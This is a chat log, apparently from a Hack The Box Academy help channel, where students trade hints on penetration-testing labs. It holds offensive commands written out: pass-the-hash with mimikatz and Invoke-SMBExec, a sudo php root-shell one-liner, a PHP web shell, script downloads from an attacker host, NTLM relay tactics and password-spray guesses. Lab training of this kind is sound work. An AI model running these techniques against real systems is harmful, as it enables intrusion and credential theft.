modules

[fathom pendant]

but setting up isn't anything "complex" at all

it's literally just a simple thing to help you set up your own system and such

[stark lark]

Already before

Did you work this out?

[grizzled fulcrum]

Nope. I just moved to other module

[stark lark]

Damn. I will try to reset and try again

[grizzled fulcrum]

If you get it, please let me know

[vague sage]

uhh how do i escalate root privileges

got hella confused again

[next bronze]

are you running it as admin

[stark lark]

Yeah when I used RDP i tried both running cmd as admin and running it from there but also right clicking mimikatz and running as admin.

[stark lark]

I went another way around the task and solved it. I used impacket to do the PTH for Administrator and then opened a PS session and ran mimikatz, then execute sekurlsa::msv

[arctic sentinel]

I am almost finish with the linux priviledge escalation! Having a hard time to find flag5!

[next bronze]

if you're running as admin and the user has the rights it wouldn't retrun access denied

[vague sage]

oh nvm got it

[arctic sentinel]

I am trying to upgrade de shell with the busctl commands but nothing happens... how do I know that I running the program correctly?!

[fathom pendant]

type whoami

or id

[arctic sentinel]

I got the stable shell, now I want to elevate to root

got it 🙂

thanks anyway!

[vague sage]

wait i do wget <ip address>/LinEnum.sh

but it says access denied

with python3 -m http.server 80

thought i had it 😔

uhh it shows me this

thats it
and the error from the server is

this

oh

[alpine dome]

Is the Skills Assessment in Session Security Broken? I am trying to access http://minilab.htb.net/submit-solution?url=http://<MYIP>:<PORT> however i get an error something went wrong.

[vague sage]

hm alright
i see
imma try elsewhere

is there like a certain place i should be executing it or it doenst matter where?

[fathom pendant]

/tmp/ for downloads usually works

As it's world writeable

[vague sage]

alright

[vague sage]

o thank you

[fathom pendant]

You were trying to write to a user's home

[vague sage]

hm

[fathom pendant]

As not that user

www-data != mrb3n

[stark lark]

I tried running ||Invoke-SMBExec -Target DC01 -Domain inlanefreight.htb -Username david -Hash c39f2beb3d2ec06a62cb887fb391dee0 -Command "dir" -Verbose || through my RDP session but it gives me this.

I've tried numerous other ways but I believe that it must be run from the "initial access" machine.

[vague sage]

holy shit it worked
now what?
the scan is complete

do i execute something with sudo?
or will that still not work

lemme try

nvm

[fathom pendant]

Chmod +x

[vague sage]

yup
and then ./LinEnum.sh yes?

[fathom pendant]

You need to make it executable

[fathom pendant]

Yes, sudo not required

[vague sage]

ye i did

it scanned

[fathom pendant]

Then just analyze the info, for what's probable

[vague sage]

alright
lets see

interesting files :
/usr/bin/nc
/usr/bin/netcat
/usr/bin/wget
/usr/bin/curl

[vague sage]

wait meaning of probable?

accessed?

oh i see

thank you

anything i should be looking for? like config files or?

oh alright thank you

alot of config files

hmmmm

give me another hint about that script

if possible

oh
its uhh cracking into HTB/getting started/knowledge check

[grizzled fulcrum]

Will try, thanks!

[vague sage]

oh nah

oh wait you mean
sudo -l?

ye i did just a little before you asked
im trying to remember the script

was it like
sudo -u <user> "<path shown>"

i dont remember it

(ALL : ALL) NOPASSWD: /usr/bin/php

alright thank you

yeah thats the first thing that came up

[broken moss]

smb signing required from the client so cross-protocol not possible there, webdav not running, still stuck a bit

[autumn pilot]

do you still need help

[vague sage]

i tried using this one CMD="/bin/sh"
sudo php -r "system('$CMD');"

but seems like its wrong

do i have to replace anything?

oh shit wait

RAAAAAHHHH

i think i did it

FUCK YEAH DUDE

HOLY SHIT THIS TOOK A WHILE BUT IT WAS FUN AS SHIT

alright tomorrow im starting the basic toolset

[shut vapor]

That dopamine hit that keeps bringing me back for more. 😂

[vague sage]

😂
that was exciting dude
shit was actually hella fun

hell yeah

if it was easier it wouldnt be as satisfying

[broken moss]

For NTLM Relay Attacks - Skills Assessment, the second question/task is to compromise the BACKUP01 server. My understanding is below, but I'm stuck on moving forward

||I have used the mozhar account via ntlmrelay/responder to get smb access to the backup01 server, but couldn't write files and didn't see anything that helped so far. I have the sql_ftp_test account which provides me domain access, but I seem to be unable to coerce any auth with coercer/printerbug/petitpotam/etc, and unable to drop files anywhere. Noticed signing is disabled but not picking up any meaningful auths without coercion either. Tried adding shadow creds to mozhar but denied. Clients require signing so coercing auth from smb to cross-protocol isn't helpful. What am I missing?||

[vague sage]

wait was that like basically how hackers get into something related to databases or some shit like that?

[clear zephyr]

Any really good with proxychains? I'm trying to load a website via proxychains but it's not loading

[fossil fossil]

I don't consider myself an expert, but I can try to help you

[clear zephyr]

Currently I'm in an internal network and I know have network access because I can run proxychain nmap from my attacker host successfully

Not sure what I am doing wrong

[fossil fossil]

I've sent you a DM, lets talk there to avoid flooding the chat

[mellow holly]

you can create something with the current acces syou have

dont think just user accounts.

[sacred orchid]

Hey guys I am currently following the Windows Privilege Escalation module and on the SeTakeOwnershipPrivilege tab

The question states:
Leverage SeTakeOwnershipPrivilege rights over the file located at "C:\TakeOwn\flag.txt" and submit the contents.

I tried the various methods listed in the lesson but they don't seem to work and i am running out of any other ideas.

I thought maybe it has something to do with not having the SeTakeOwnershipPrivilege rights so maybe a bug?

[broken moss]

I created a || computer account || and didn't notice any new access/capabilities from there (edit: I can coerce now but insuff privs to set shadowcreds / etc for those servers)

[coral forge]

Hey everyone, I am having issues with the privilege escalation on the nibbles box, || when I try to sudo the program to get root access it just gives an error saying unknown:I need something more specific and says it didn't found [[||

[fossil fossil]

Can somebody help me understand why in the module Active Directory Enumeration & Attacks, section Bleeding Edge Vulnerabilities, when using the PetitPotam approach, he uses the LM+NT hash when dumping secrets, how he obtained the LM hash? I can't find it anywhere (I know that the NT hash is from calling /opt/PKINITtools/getnthash.py)

secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c...04fe:313b6...b4ba

Edit: LM hash isn't required, but still...

[mellow holly]

ok, when you coerce, make sure you have the right IP's , you can get something from this

[open summit]

quick question, you know how everytime you hack a HTB lab, you have to connect to the vpn given. How does that work in the real world like do you have to be connected to a certain vpn to do hack or.. Like why do we have to connect to hack the box open vpn to hack the lab.

[fathom pendant]

Because the labs are hosted privately

And it depends

You can't just access the 10.129.x.x private network that the labs are on, as again private network as opposed to a public ip and port of some web modules

[mellow holly]

How does it work in the real world?
It depends - you may have a dedicated connection to do the assessment. you may be working through a dropbox, or the company allows your testing device throuhg their VPN/Zscalar/firewall, etc.

[open summit]

For example

[fathom pendant]

Or you may be tasked with breaking in through their external web server

[open summit]

allegedly lets say I wanna hack my neighbour can i just do it from my vpn

[fathom pendant]

You need some form of access to their network

You can't just "hack them"

[open summit]

So you cant do it remotely like you do on HTB liek if you get their ip can you do it

if you have their ip*

[fathom pendant]

You'd need more than the ip

You'd need an exposed service to break in through

But most home networks aren't set up the same way as a corporate network

In a home network each device is their own entity

As opposed to an office where they belong to the same entity

I also suggest refraining from making illegal hypotheticals

[open summit]

How else would I phrase it legally - for my own knowledge i wanna know out there how it really works

[fathom pendant]

You have some scope that allows access either to their exposed web server, directly to their internal network, somewhere in between

There's not much to figure out how it really works; from the perspective academy the tester (you the student) have been granted access to the exposed web servers within their DMZ (10.129.x.x) some of those servers have access to a separate VLAN network (172.16.x.x --> 172.31.x.x) from which, more sensitive servers and workstations may reside

[uneven oracle]

Can you not encrypt a file on Linux, then decrypt on windows?
And visa versa.

[cloud urchin]

ofc you can

[late moth]

I am on the footprinting module in the IPMI section. I got the user's hash. I am trying to crack it with hashcat. I am put just the hash in a file called "ipmi.txt". The syntax I am using is "hashcat -m 7300 ipmi.txt /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt" the contents of my hash match the example of the hashcat wiki. the error I am getting is "Hash 'ipmi.txt': Separator unmatched
No hashes loaded.
"

I tried adding in the username:hash

but that didnt work either

[cloud urchin]

This website shows you example formats for various encryption types. https://hashcat.net/wiki/doku.php?id=example_hashes

it should look something like the example they provide 08b017f3628b9835c748521e412429c9:f3450000df540000cdd981b0b3441be8774a61e69321291891a29a0c5fdac3f06194bd2c29fa5246000000000000000000000000000000001400

[uneven oracle]

But not with the methods shown in the file sending module?

[cloud urchin]

Sorry not sure what you're asking.. I don't recall any encryption/decryption related stuff in the file transfer module. I could be wrong because it's been a while since I did it. Do you need help with a section in that module?

[uneven oracle]

The protected files section.

I completed the module, but I noticed we encrypt/decrypt with powershell, then encrypt/decrypt with openssl on Linux.

The whole point of encryption is to send from one to the other.

[cloud urchin]

ahh yeah

so you answered yourself right there

both linux and windows can encrypt/decrypt

you can also just install openssl in windows

that powershell script that it provides, you can use -mode decrypt to decrypt instead of encrypt. ```Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path "example.txt.aes"

[late moth]

thats the format it is in currently

[uneven oracle]

Right.
We can encrypt with that powershell script then decrypt with that powershell script.

I’m saying can we encrypt with powershell then decrypt in Linux. And visa versa.

You mentioned installing openssl on windows, but we may not have the ability to install programs.

[cloud urchin]

yeah you can use the PS script to decrypt aes

you can also just write your own powershell script. powershell can pretty much do anything, it's .NET under the hood

[uneven oracle]

It didn’t work when I tried.
Maybe I didn’t enter it correctly.

[dry halo]

https://academy.hackthebox.com/module/113/section/2164
why isn't the ftp letting me to download the jar file? any help please

[dry halo]

never mind gotta enable file download in internet explorer zone settings

[late moth]

I ran it on the pwnbox instead of my kali vm with the same excact hash, same exact command. Literallly copied and pasted everything over. It worked on the pwnbox. Weird

anyone else with kali 2024.2 have issues running hashcat?

[cloud urchin]

i run hashcat on my main workstation instead of my vm, so i can utilize those nvidia cuda cores lmao

[late moth]

i noticed its running the lastest version compared to the pwnbox which is a version older

[next bronze]

doesn't matter, the hashes will be the same

make sure you've copied the whole line from the output

[late moth]

I did. I copied everything from my kali VM where i kept getting an error about not being : seperated. To the pwnbox and everything worked. Didnt change a thing except for the VM

[cloud urchin]

try manually typing, i've only ever seen that error if the hash isn't correct. also double check the mode you used, if you chose the wrong mode it will cause that error to because it's expecting a different hash format.

since you copied it there could be some invisible characters

[late moth]

i had to uninstall the newest v6.2.6 and install v6.1.1

got it working on my kali vm after that. /shrug

[uneven oracle]

I’m still trying to figure out how to encrypt a file on Linux, then decrypt it on windows…

[cloud urchin]

which part can't you do

[uneven oracle]

The decryption.
If you encrypt a file with openssl on Linux, you can’t decrypt it with powershell.
Or visa versa.

[cloud urchin]

what encryption type

[uneven oracle]

I assume the type in the module is aes.

[cloud urchin]

Try this in linux: ```# OpenSSL: AES Encryption Command
openssl enc -aes-256-cbc -salt -in /path/to/file.txt -out /path/to/encrypted_file.txt -k YourStrongPassword

OpenSSL: AES Decryption Command

openssl enc -d -aes-256-cbc -in /path/to/encrypted_file.txt -out /path/to/decrypted_file.txt -k YourStrongPassword

try this in powershell: ```# PowerShell: AES Encryption Script
$InputFile = "C:\path\to\file.txt"
$OutputFile = "C:\path\to\encrypted_file.txt"
$Password = "YourStrongPassword"

$Aes = New-Object System.Security.Cryptography.AesManaged
$Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight(32).Substring(0, 32))
$Iv = [byte[]](1..16 | ForEach-Object {0})

$Aes.Key = $Key
$Aes.IV = $Iv

$Encryptor = $Aes.CreateEncryptor()
$FileStream = [System.IO.File]::OpenRead($InputFile)
$EncryptedStream = [System.IO.File]::Create($OutputFile)
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($EncryptedStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)

$Buffer = New-Object byte[] 1024
while (($BytesRead = $FileStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
$CryptoStream.Write($Buffer, 0, $BytesRead)
}

$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStream.Close()
$EncryptedStream.Close()

PowerShell: AES Decryption Script

$InputFile = "C:\path\to\encrypted_file.txt"
$OutputFile = "C:\path\to\decrypted_file.txt"
$Password = "YourStrongPassword"

$Aes = New-Object System.Security.Cryptography.AesManaged
$Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight(32).Substring(0, 32))
$Iv = [byte[]](1..16 | ForEach-Object {0})

$Aes.Key = $Key
$Aes.IV = $Iv

$Decryptor = $Aes.CreateDecryptor()
$FileStream = [System.IO.File]::OpenRead($InputFile)
$DecryptedStream = [System.IO.File]::Create($OutputFile)
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($DecryptedStream, $Decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)

$Buffer = New-Object byte[] 1024
while (($BytesRead = $FileStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
$CryptoStream.Write($Buffer, 0, $BytesRead)
}

$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStream.Close()
$DecryptedStream.Close()

2 scripts in that block, one to encrypt one to decrypt

let me know if it works

powershell is just .NET under the hood so you can do whatever

[uneven oracle]

lol I’m not sure you’re understanding my issue.
I can encrypt and decrypt on the same system as you’ve just shown.

The point is to encrypt on one system then decrypt on the other system.

[cloud urchin]

well maybe i just don't get what you're asking then. you said there wasn't a way to encrypt/decrypt in windows and linux.

[stark valve]

yo any one know the answer to this question?

[cloud urchin]

You probably didn't get an answer because you didn't include the module or section. You also didn't provide the OS, so we have no idea which command we could give you a hint with.

[uneven oracle]

No no.

The module is about file transfer. (Send a file from Linux to windows) or visa versa.

You have to encrypt a file on Linux, then send the encrypted file to windows and decrypt it there.

[cloud urchin]

i understand that

[stark valve]

its on Current Path

Information Security Foundations | Introduction to Windows Command Line

[uneven oracle]

You showed how to encrypt then decrypt on the same system.

[cloud urchin]

i provided you 4 things. 1) a powershell script that encrypts in aes. 2) a powershell script that decrypts aes. 3) an openssl command that encrypts in linux with aes, and 4) an openssl command that decrypts aes. being able to encrypt and decrypt on both systems means you can encrypt on one (linux), transfer the file, and decrypt (windows) on the other box

correct, i showed you how to both encrypt and decrypt on both systems

so what am i not understanding about the problem

now that you can encrypt with linux, transfer, and decrypt in windows, what is the problem you are having

the file transfer?

[uneven oracle]

Sir lol…

You can’t decrypt a file in powershell that you encrypt with openssl.

[cloud urchin]

so you didn't try my script?

i think you underestimate the power of powershell lol

[uneven oracle]

Is that not the script given in the module?
I’ll try your script.

[cloud urchin]

no its not

its 2 scripts in that powershell block, make sure to cut it up into 2

[dreamy yew]

Module: Attacking Enterprise Networks, Section: Exploitation and Privilege Escalation, Question: When I used ligolo-ng/proxychains to pivot into internal network, the host with DNN website hosted, the side bar containing "Settings" doesn't seem to load, can anyone help to troubleshoot this :/

The one with the settings bar was taken from course materials

[uneven oracle]

So, I would make 2 separate ps1 files, then import them as modules?

[cloud urchin]

call the script and pass the necessary parameters

``` and ```.\DecryptFile.ps1 -InputFile "C:\path\to\encrypted_file.txt" -OutputFile "C:\path\to\decrypted_file.txt" -Password "YourStrongPassword"

[west canopy]

i take it you're logged in as ||Administrator:D0tn31Nuk3R0ck$$@123|| ?

[dreamy yew]

yes i am

[west canopy]

maybe try clicking the little gear icon?

that might be how to access Settings

[dreamy yew]

the first picture is the one that im currently looking at

there is no icon on the left bar

[dreamy yew]

^

[west canopy]

after you log in , try navigating directly to http://172.16.18.20/Activity-Feed/userId/1

[dreamy yew]

still the same issue 😦

[cloud urchin]

try disabling your extensions, try private mode, try another browser, try CTRL + F5 to refresh and clear your cache

i highly doubt it's due to your tunnel to the site, if so don't use that way and use netsh or something to port forward

[west canopy]

or try zooming in / out

or try searching for Settings

with the little magnifying glass icon

give me a few minutes and i will fire up the lab

[dreamy yew]

It shows no result found

[dreamy yew]

let me try this too

[west canopy]

go back to the root of the website . So just http://172.16.8.20

and click the gear icon

[cloud urchin]

yeah that too

[west canopy]

on the left hand side of the screen

SQL Console should be an option

[dreamy yew]

Its not there though

ok it finally loaded

thanks @west canopy @cloud urchin

[west canopy]

np 😉

[uneven oracle]

I’m getting an error…

[cloud urchin]

paste the script into chat gpt, then paste the error see if it can fix it

i dont know powershell that well

i'm positive it can be done though

the provided (from the module) script has parameters to decrypt not sure why it wont work for you

[uneven oracle]

Have you tried it yourself?

[west canopy]

your're missing command line arguments i think

.\DecryptFile.ps1 -InputFile "C:\path\to\encrypted_file.txt" -OutputFile "C:\path\to\decrypted_file.txt" -Password "YourStrongPassword"

[cloud urchin]

oh yeah that too lol

[uneven oracle]

All that stuff is inside the script.

[atomic coyote]

I am on the Linux Fundamentals / Filter Contents Module / Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer. I cannot seem to get the right number of unique paths. I have || 20 || utilizing a series of ||grep, awk, and cut||. I appreciate any assistance with this. Thank you.

[viral slate]

[HTTP ATTACKS - HTTP RESPONSE SPLITTING]
Hey guys!
Currently working on question of this section. My payload worked for user, but still struggling with admin.
Can I have a nudge?

[uneven oracle]

I had a hard time with that also. I forgot which command I used but one of these may work.

https://forum.hackthebox.com/t/linux-fundamentals-filter-content-filter-all-unique-paths-of-domain/270162

[thorn hawk]

hello amigos. I have difficulty in understanding this statement (SSTI example 3 module):

The application successfully evaluated this expression as well. According to PortSwigger's diagram, we are dealing with either a Jinja2 or a Twig template engine. That being said, the fact that {{7*'7'}} was evaluated with the application returning 7777777 means that Jinja2 is being utilized on the backend.

How he can jump from one sentence we are in Jinja2 or Twig and then just say it is jinja2. Would it be possible to find this info from wappalyzer for example?

[muted kindle]

Im not familiar with web apps but will the two engine evaluate the bracketted operation differently?

7 times a character of 7

Im looking at twig operand examples none of them show multiplying a character it’s always between two numbers

I assume there’s going to be errors if it’s in twig
Whereas jinja has no issue because this is valid in python

[balmy iris]

Here is the answer from HackTricks

In twig, {{7*'7'}} = 49

Where in Python '7' is interpretated as a char and not a digit

[muted kindle]

Interesting it auto recognise it as int

[tulip dragon]

C:\Windows\system32> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25 instead of rdp i want to use evil-winrm i replaced port 3389 with 5985 but i can't use evilwinrm

i was able to use rdp

applying the pivoting module knowledge in AD skill ass 1

[balmy iris]

Are you sure your connectAddress is correct ?

[tulip dragon]

above command is from pivot module , i just use that command for refrence here , real command have diff ip

[balmy iris]

Maybe this port isn't open on the target

[tulip dragon]

i can rdp to other machine but that is soo laggy , that why i want to know why does evil winrm didn't work

[tulip dragon]

oh

[balmy iris]

Or your winrm doesn't go on 8080 port

I can't help more as you are farther than me in your path

[tulip dragon]

oh now it worked with evilwirm

[nimble lodge]

I'm practicing the HTTP Method: POST lab, I have connected to the HTB VPN successfully but unfortunately I can't login to the URL and when entering the credentials I'm having the above error. What could be the problem can anyone help me with this?

[minor sonnet]

Hello , i am stuck on kerberos attacks ( Unconstrained Delegation - Computers ) question number 2 "5 Compromise the Domain and read the content of \DC01\C$\Unconstrained\flag.txt "
can anyone help me please

[tight prairie]

Hello, I am a university student pursuing cpts after my oscp, & I am struggling with htb academy's domain fuzzing section. Bruting subdomains and vhosts have not been an issue for me in the past. However, upong using ffuf or wfuzz against this infrastructure the only thing i come upon are errors.
https://academy.hackthebox.com/module/54/section/502

Has anyone else experienced this issue before?

I am unsure why i cannot achieve this section after coming back to it for 2 days now. I have added the target and its respective ip to /etc/hosts & ran various ffuf/wfuzz commands against it but recieve errors in the end.

i feel like the infrastructure is broken but i could very well be wrong

[feral spruce]

Heyo, not really looking for help but just wondering where i can make suggestions about some content in the File Transfers > Catching Files over HTTP/S.

The module states that it will cover creating a secure webserver for upload operations but then proceeds to cover the subject only in HTTP.
I kind of feel this is a ton more work than just using the python uploadserver module as described earlier in the module and without the benefit of actually being secure.

On a side note, would anyone be free to dm/chat about modifying this to actually run over https and what steps it would require?

[fringe urchin]

There is a lot of example out on the internet
https://realpython.com/python-http-server/

There is a section explaining. How zo run secure aswell

[feral spruce]

Thanks for the hasty reply 🙂 i'm well aware of the python https stuff but i was hoping to more concentrate on nginx and expand on what i was learning in this section of the module, and as previously stated i just wanted to make suggestion that the module was not infact covering secure http communications. I have figured it out now and got it working over https but again thanks for the assist 🙂

[fringe urchin]

#1234357888114364508 is probably the way to give spelling mistakes or missing content. Doesnt mean they will add it at the end of the day

[feral spruce]

oh perfect! thank you i thought that was something else entirely different

[fathom pendant]

Is winrm even running on the system you're trying to access?

[tulip dragon]

ofc

now it run i had to reset the machine , these machine are buggy

[sacred laurel]

I'm doing file inclusion module and sometimes we need the base64 encode some of the strings such as echo '<?php system($_GET["cmd"]); ?>' | base64 for data wrappers

why is that tho? why do we have to base64 encode the strings?

[fathom pendant]

Because of how the backend interprets it

[sacred laurel]

Is it only for Data Wrappers? Because for input and expect wrappers we don't need to encode the strings

[vague sage]

uhh is it wrong if i executed nmap -sV <target>
instead of very specific filters?
i still found what i needed to answer the questions but just asking

[sacred laurel]

I guess it's not wrong. You don't need very specific filters unless its necessary

but learn why and where to use others for specific tasks

[fathom pendant]

Not really

It's a thing you can do

[vague sage]

oh alright thats good
just making sure

[fathom pendant]

It's not like it's running any malicious script

[vague sage]

ye

hmm

Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer.

on enumeration with nmap

i tried using nmap -sV -A <target>

but i havent gotten the flag
must be wrong then

[fathom pendant]

Did you check the version column?

[fathom pendant]

Also reminder, tell us what module and section you're working on

[vague sage]

Firewall and IDS/IPS Evasion - Hard Lab

[vague sage]

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 09:03 EDT
Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 99.99% done; ETC: 09:04 (0:00:00 remaining)
Nmap scan report for 10.129.159.59 (10.129.159.59)
Host is up (0.064s latency).
Not shown: 869 closed tcp ports (conn-refused), 129 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 71:c1:89:90:7f:fd:4f:60:e0:54:f3:85:e6:35:6c:2b (RSA)
|   256 e1:8e:53:18:42:af:2a:de:c0:12:1e:2e:54:06:4f:70 (ECDSA)
|_  256 1a:cc:ac:d4:94:5c:d6:1d:71:e7:39:de:14:27:3c:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel```

oops

thought it would look much cleaner

[fathom pendant]

Wrap it in ```

But anyway

What module and what section

[vague sage]

wah wrong

[fathom pendant]

brother answer the damn question

[gloomy lichen]

Anyone for a little nudge on the DACL II skill assessment? Specifically Q2. Q1 went ok, and I think I found most parts for Q2 but I'm still missing a piece. Been going over all the material again but still not seeing it 😅

[vague sage]

Firewall and IDS/IPS Evasion - Hard Lab
enumeration with nmap
basic toolset

[vague sage]

i did though before

doesnt matter

[fathom pendant]

You need to do the evasion techniques described in the reading

[fathom pendant]

Where?

[vague sage]

here

[fathom pendant]

Missed it behind your copy/paste log

[vague sage]

ye

[fathom pendant]

Anyway

[vague sage]

hmm

[fathom pendant]

There's a section dedicated to evasion, you'll also need to scan all ports to find what you're looking for

[vague sage]

-p-?

[fathom pendant]

You will need to also use netcat once you find the right port

[vague sage]

oh
netcat got it

[fathom pendant]

But if you don't do the evasion, you won't find it

[vague sage]

yeah i got you
imma take a look at it rn

[fathom pendant]

And if you trigger too many alerts. It'll block you and you'll need to reset the lab

[silk anchor]

There are quite a few steps that you need to go through in that lab to get to the answer but its all stuff you've covered.

[vague sage]

imma take a look on previous modules

[silk anchor]

Its all covered within the footprinting module.

[tulip dragon]

how u all remove extra space and line from hashes , tr cut sed or awk

or vi

bruh i have learned all of them sometime i think why i had to learn all method

[normal sand]

I've just finished the parts on password spraying in the AD Enumeration & Attacks module. It doesn't talk about how to pick a password for password spraying though. Ya'll got any good advice for this?

[fathom pendant]

<@&861185840277487616>

[tulip dragon]

<@&861185840277487616>

[vague sage]

EGIRL PARADISE YOOOOOO

[next bronze]

@haughty stirrup

[tulip dragon]

https://tenor.com/view/yazarkeolog-gif-19419563

[gritty hedge]

For Find The Easy Pass - how to run the zip file on mac m1

[vague sage]

so since netcat
do i have to do that SYN scan?

[rustic sage]

hello, im having a hard time understanding what broadcast address and network address are? and whats their purpose in the subnet?

[fathom pendant]

Scan first to find the right port first.

[fathom pendant]

Network address defines what systems it can talk to, broadcast would send packets to all devices on that subnet

[vague sage]

how do i know which is the right port? 😭
will it show me something like a version or whatever

[fathom pendant]

In a /24, 192.168.0.0 and 192.168.1.0 are two different networks

[fathom pendant]

It will stand out

[vague sage]

alright

[fathom pendant]

I suggest not doing a script scan to make it cleaner

[haughty stirrup]

Modules never disappoints

[fathom pendant]

What module?

[rustic sage]

so a network address is unique to each subnet? and how exactly can i find out how they look for example the ip is 192.168.10 and subnet is 255.255.0 because there are 2 slots reserved for them?

[fathom pendant]

255.255.255.0 is the mask

[rustic sage]

@haughty stirrup I need help.

[fathom pendant]

Also if you're going to try and use examples use all 4 octets, not 3

[rustic sage]

yeah my bad im going to try to explain better

[fathom pendant]

If you know the mask you can find out the network

https://www.techtarget.com/searchnetworking/tip/IP-addressing-and-subnetting-Calculate-a-subnet-mask-using-the-hosts-formula

[gritty hedge]

Its a challenge in the beginners track called Find The Easy Pass https://app.hackthebox.com/challenges/5 sorry let me know if i am asking my doubts in the wrong room

[fathom pendant]

Wrong room this channel is for academy modules, #challenges (read and follow #welcome)

[vague sage]

oof
that shit was confusing but alright

had to google a bit for the netcat part

not "a bit" but yk
hopefully there is a netcat introduction module

[fathom pendant]

There's not

[vague sage]

dang

[fathom pendant]

It's a basic network connection tool that's not really all that complex

[vague sage]

listening and such?

[rustic sage]

I read the article but still i dont understand why the subnet mask is 255.255.255.0 in the case of the ip address 192.168.10? doesnt it go from 192.168.0-254?

[tulip dragon]

hmm

[fathom pendant]

Listening and connecting

[vague sage]

very nice

[fathom pendant]

192.168.0.1-192.168.0.254 are addressable

.0 is the network, and .255 is the broadcast

[tulip dragon]

what is this red team role

[rustic sage]

oh yeah i think i understand. so the original ip i gave was missing an octet (because u said to use all 4), so in theory such an ip address cant exist in the first place and therfore a subnet with 3 octets cant exist too? 255.255.0 cant even exist right? and also does the network address have any purpose or is it just an identifier, like for example 192.168.0.255 broadcasts and what does 192.168.0.0 do?

[fathom pendant]

Network is an identifier, broadcast sends packets to the network

[rustic sage]

like a hub?

[fathom pendant]

No

A hub is a switching device

And connects multiple subnets

The broadcast only sends on its network

[rustic sage]

i think i meant if the broadcast sends a signal to all devices on the network similar to what a hub does and doesnt have any intelligence to know what ip is meant to receive the packet?

[fathom pendant]

A hub is something different

[rustic sage]

well i tried using it as an analogy

[fathom pendant]

Yes it's similar.

[normal sand]

Anyone know anything about this?

[fathom pendant]

Think of a simple default password

[normal sand]

Any suggested referece/resource?

[fathom pendant]

¯_(ツ)_/¯

Welcome1! Is usually a safe bet

Or [season][year]!

[normal sand]

Alrighty, thanks. A little concerned I won't guess the right password to use for a password spraying attack if it's on the CPTS exam tho 😂

[normal sand]

@next bronze got any suggestions for a solid resource?

[shut vapor]

I'm not at that module yet, but it seems like password spraying is different from brute forcing in that you try a single password against a bunch of user account names once each. The password used in a spray is described as a "default password" which would imply this attack works best against software packages that have some kind of default. Am I thinking about this right?

[minor barn]

sorry guys, I have a private little ctf that I need help with...how can I receive help? it should be really easy for you guys 😄

[next bronze]

nope, you don't even do it irl because it will usually miss, the only time it's reasonable to do it is when you have solid intel on a potential password

[solar condor]

hey guys, I am stuck in the Attacking Thick Client Applications section in Attacking common application module, I couldn't find the file that have the magic bytes MZ in x64dbg

[normal sand]

Ah, alrighty. Noted.

[shut vapor]

Ah, so, like that one password that everybody in the office uses for everything because that's what they were taught to do. That sounds good too.

[next bronze]

yeah only when you know what it could be, otherwise there's pretty much no chance of success

[fathom pendant]

Enum the new user script for default password

[next bronze]

yeah something like that

[fathom pendant]

ChangeMe123!

[normal sand]

Oh, that's helpful. Thanks.

[fathom pendant]

There's usually some admin policy somewhere

[next bronze]

well usually if you're looking for a foothold you won't find those

unless there's some ctf fuckery going on

[fathom pendant]

English

[outer urchin]

I am trying to make the binaries for kerbrute, as laid out in the AD Attacks module and keep getting this error when trying to make all. I really don't know what to make of it. Anyone else getting this error?

[fathom pendant]

it means go isn't installed

go being the programming language

[outer urchin]

Ok that's what was I thinking, definitely thought I had it installed though, thanks

[vale crescent]

Hey i want some advice

[fathom pendant]

ask google /s

[vale crescent]

Ive been going through few machines on HTB and they labled as easy and its prety much insane for me i just couldnt find out how to complete each step

[fathom pendant]

Google, research, but this channel isn't for machines

read and follow #welcome to access more channels

[rustic sage]

Hello, why does multicast only works with the SSDP protocol? cant it be used with http + udp instead? and why can it only be utilized with specific ipv4 and ipv6? (i already searched in google but couldn't find an answer to these specific questions)

[rancid plank]

Multicast works with more than SSDP. There are situations as well where one would utilize multicast, HTTP and UDP as well. For example, watching a streamer on twitch. We'd use HTTP to connect, The server instructs the client to join a specific multicast group, (IGMP for IPv4 or MLD for IPv6). Then the server starts sending packets over UDP. We use UDP because it is faster and more efficient for continuous transmission of large volumes of data

[rustic sage]

thanks, so its not limited to just ssdp

[short beacon]

Guys, is there any ways to earn cube for free ?

[normal sand]

Referral I think?

[rancid plank]

Np, and yes that’s correct! Multicast is a method of data transmission to multiple clients. While, SSDP uses multicast for service discovery

[short beacon]

oh tysm lemme try

[normal sand]

The person you refer has to purchase cubes in order for you to get cubes iirc.

[agile token]

Hello again, I feel like I give a lot of questions here, but this is really only way for me to get answers and sleep at night. https://academy.hackthebox.com/module/116/section/1512 in this module, I couldnt get the flag. Let me explain what I did so far: I used subbrute and found ns1 server and tried to dig it using "dig axfr ns1.. @IP" but there is nothing, sometimes I get connection timed out and sometimes it doesnt even work, I need to know if I am on true path or not. also if possible, a little bit detailed guide, because I am lost. Oh also, I still dont get what is the point of using resolver.txt in subbrute. Any help appreciated

[shut vapor]

I can only help with resolver.txt. Have you read subbrute's github page? It mentions resolver.txt in the first paragraph of the readme.md. How do you understand the function of resolver.txt currently?

[agile token]

